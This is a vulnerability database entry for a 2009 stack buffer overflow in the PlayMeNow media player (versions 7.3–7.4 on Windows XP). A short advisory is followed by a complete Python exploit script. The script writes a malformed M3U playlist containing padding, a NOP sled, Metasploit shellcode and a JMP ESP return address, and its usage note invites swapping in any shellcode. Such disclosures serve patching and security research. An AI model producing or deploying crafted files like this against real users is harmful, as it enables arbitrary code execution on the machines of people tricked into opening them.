PlayMeNow Malformed M3U Playlist WinXP Universal BoF

vendor:

PlayMeNow media player

by:

loneferret

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: PlayMeNow media player

Affected Version From: 7.3

Affected Version To: 7.4

Patch Exists: YES

Related CWE: N/A

CPE: a:playmenow:playmenow

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro SP2/3 & Home SP3

2009

PlayMeNow Malformed M3U Playlist WinXP Universal BoF

A buffer overflow vulnerability exists in PlayMeNow media player versions 7.3 and 7.4 on Windows XP Pro SP2/3 & Home SP3. The vulnerability is caused due to a boundary error when handling specially crafted M3U playlist files. This can be exploited to cause a stack-based buffer overflow by tricking a user into opening a specially crafted M3U file with PlayMeNow. Successful exploitation may allow execution of arbitrary code.

Mitigation:

Upgrade to the latest version of PlayMeNow media player.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Vulnerability:        	PlayMeNow Malformed M3U Playlist WinXP Universal BoF
# Product:			PlayMeNow - media player.
# Versions affected:     	Tested with 7.3 and 7.4
# Tested on:              	Windows XP Pro SP2/3 & Home SP3
# Author:                 	loneferret
# Original Author:    	Gr33nG0bL1n
# Reference:			http://www.exploit-db.com/exploits/10556
# Date: 19/12/2009
# Usage: Just choose your shellcode and open the created file(PlayMeNow_expl.m3u) with PlayMeNow.

# The offset is 1040, but the return address used brings us into it. So the shellcode is part of our
# offset buffer. Also, yes the return address does contain \x00. If you want to put in a bigger payload
# play around with the first & second set of As and those nops.

buffer = "\x41" * 465
buffer += "\x90" * 110

#win32_exec -  
#EXITFUNC=thread 
#CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
#http://metasploit.com */
buffer +=("\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc4"
"\x5b\x35\x61\x83\xeb\xfc\xe2\xf4\x38\xb3\x71\x61\xc4\x5b\xbe\x24"
"\xf8\xd0\x49\x64\xbc\x5a\xda\xea\x8b\x43\xbe\x3e\xe4\x5a\xde\x28"
"\x4f\x6f\xbe\x60\x2a\x6a\xf5\xf8\x68\xdf\xf5\x15\xc3\x9a\xff\x6c"
"\xc5\x99\xde\x95\xff\x0f\x11\x65\xb1\xbe\xbe\x3e\xe0\x5a\xde\x07"
"\x4f\x57\x7e\xea\x9b\x47\x34\x8a\x4f\x47\xbe\x60\x2f\xd2\x69\x45"
"\xc0\x98\x04\xa1\xa0\xd0\x75\x51\x41\x9b\x4d\x6d\x4f\x1b\x39\xea"
"\xb4\x47\x98\xea\xac\x53\xde\x68\x4f\xdb\x85\x61\xc4\x5b\xbe\x09"
"\xf8\x04\x04\x97\xa4\x0d\xbc\x99\x47\x9b\x4e\x31\xac\xb4\xfb\x81"
"\xa4\x33\xad\x9f\x4e\x55\x62\x9e\x23\x38\x54\x0d\xa7\x75\x50\x19"
"\xa1\x5b\x35\x61")

buffer += "\x41" * 301		# end of our 1040 byte
buffer += "\x8c\x92\x5b\x00" 	# 0x005B928C JMP ESP @ autorun.exe
buffer += "\xCC" * 2800		# junk

file=open('playmenow.m3u','w')
file.write(buffer)				# write file
file.close()